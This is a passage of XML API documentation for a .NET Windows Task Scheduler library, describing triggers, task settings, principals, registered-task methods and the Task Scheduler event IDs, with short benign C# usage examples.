be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an 